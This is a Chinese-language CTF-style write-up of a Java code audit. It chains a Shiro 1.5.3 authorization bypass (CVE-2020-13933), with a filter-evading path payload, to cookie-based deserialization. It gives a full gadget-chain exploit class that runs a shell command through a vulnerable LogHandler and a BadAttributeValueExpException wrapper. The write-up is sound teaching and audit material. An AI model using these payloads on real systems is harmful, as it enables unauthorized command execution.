本文基于一次内部小范围比赛题目的复现,简单聊聊Java
代码审计中的反序列化漏洞。
0x00 前言
近年来,工作中Java Web
的项目越来越常见,并且逐渐取代了前几年php
的辉煌地位。
在众多Java Web
漏洞中,反序列化漏洞独树一帜,大量框架或者中间件都存在反序列化漏洞,它们被大佬们钟爱,并且翻过来覆过去的反复蹂躏,,例如:Shiro
、Fastjson
、JBoss
、WebLogic
、Structs2
等等。
本文基于一次内部小范围比赛题目的复现,简单聊聊Java
代码审计中的反序列化漏洞,以及其他漏洞的组合利用。由于学习门槛降低,各大学习论坛或网站上存在大量优秀的Java
反序列化的入门文章,里面对Java
的基本概念以及反序列化的基础有着详细的描述和讲解。本文不再赘述Java
反序列化中的简单概念,仅从题目本身入手。
0x01 正文
题目本身是Web
题目,并且提供了源码。
打开页面,登录窗口。
页面仅有一个登录窗口,尝试一波弱口令,无结果。
然后去看代码,jar
包导入JD-GUI
,随便点点。
大致文件结构如下:
其中ShiroConfig.class
内容如下:
简单审计发现,index
内容需要认证,也就是需要登录。
查看index
对应的IndexController.class
,发现存在反序列化点。
具体代码如下:
if (cookies != null) {
for (Cookie c : cookies) {
if (c.getName().equals("userinfo")) {
exist = true;
cookie = c;
break;
}
}
}
if (exist) {
byte[] bytes = Tools.base64Decode(cookie.getValue());
user = (User)Tools.deserialize(bytes);
} else {
user = new User();
user.setId(1);
user.setName(name);
cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
response.addCookie(cookie);
}
当访问index
时,并且存在cookie
的key
为userinfo
时,会对其value
进行deserialize
。
过程如下:
cookie[userinfo] --> base64decode --> deserialize
暂时思路是,登录之后,通过cookie
进行反序列化。
但是由MyRealm.class
可知,密码是随机的。
具体代码如下:
return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
再由lib
中的BOOT-INF.lib.shiro-spring-1.5.3.jar
可知,shiro
版本为 1.5.3 ,存在CVE-2020-13933
权限绕过漏洞。
根据 https://xz.aliyun.com/t/8230 可知,常用payload
为/index/%3bxxx
。
但存在过滤器AllFilter.class
。
public class AllFilter implements IAllFilter {
public String filter(String param) {
String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
for (String i : keyWord) {
param = param.replaceAll(i, "");
}
return param;
}
}
AllFilter
会对payload
的字符进行过滤,经过尝试,最终有效payload
为/index/%3b/xxx
。
绕过权限之后,发现后台为日志记录。
涉及到LogHandler.class
,在之后的后续反序列化会用到。
绕过权限之后,想办法反序列化。
要序列化的条件是,必须继承Java.io.Serializable
接口。
在代码中寻找可被利用的class
。
发现LogHandler.class
。
其中存在命令执行点
public class LogHandler extends HashSet implements InvocationHandler {
private static final long serialVersionUID = 1L;
private String readLog = "tail /tmp/accessLog"; private Object target;
private String writeLog = "echo /test >> /tmp/accessLog";
public LogHandler() {}
public LogHandler(Object target) { this.target = target; }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
return method.invoke(this.target, args);
}
public String toString() { return Tools.exeCmd(this.readLog); }
}
LogHandler
继承了HashSet
。
HashSet
继承了Java.io.Serializable
接口。
HashSet
部分代码如下:
package Java.util;
import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;
public class HashSet<E>
extends AbstractSet<E>
implements Set<E>, Cloneable, Java.io.Serializable{
static final long serialVersionUID = -5024744406713321676L;
......
之后的pop
链为:
deserialize --> LogHandler --> toString --> exeCmd (readLog)
条件:readLog
可控 。
readLog
为私有属性,可通过Java
的反射机制访问属性值。
方法 | 说明 |
---|---|
getDeclaredField(String name) | 获得某个属性对 |
例如:
import Java.lang.reflect.*;
public class AccessAttribute {
public static void main(String[] args) throws Exception {
Field aaa= UserClass.getDeclaredField("name");
aaa.setAccessible(true);//私有属性,设置可访问
aaa.set(user, "liuxigua");
}
}
最终目的:寻找某个Java
原生类,要求:重写readObject
方法并且可调用可控类的toString
方法。
最后百度查到BadAttributeValueExpException
,并且很多Java
反序列化的Gadgets
均用到了此类
BadAttributeValueExpException
部分代码如下:
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
可通过将val
设置为logHandler
类,最终在readObject
时调用其toString
方法。
BadAttributeValueExpException (val) --> LogHandler(readLog).toString() --> serialize --> base64encode
cookie[userinfo] --> base64decode --> deserialize --> LogHandler --> toString --> exeCmd (readLog)
最终Gadgets
:
Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()--> tools.Tools.exeCmd()
注意:payload
的代码结构与文件位置需要与服务端代码结构与文件位置保持一致
package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;
public class Exp {
public static void main(String[] args) throws Exception{
LogHandler logHandler = new LogHandler();
Field readLogField = LogHandler.class.getDeclaredField("readLog");
readLogField.setAccessible(true);
readLogField.set(logHandler,"touch /tmp/123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,logHandler);
byte[] bytes = Tools.serialize(badAttributeValueExpException);
System.out.println(Tools.base64Encode(bytes));
}
}
生成payload
之后,在cookie
的userinfo
值填入,可执行命令。
0x02 总结
众所周知,Java
代码开发与Java
代码审计,并不是充分必要条件。
你问我懂不懂Java
,那我当然是不懂的。
你问我能不能搞Java
代码审计,其实也不是不能搞。
作者:Obsidian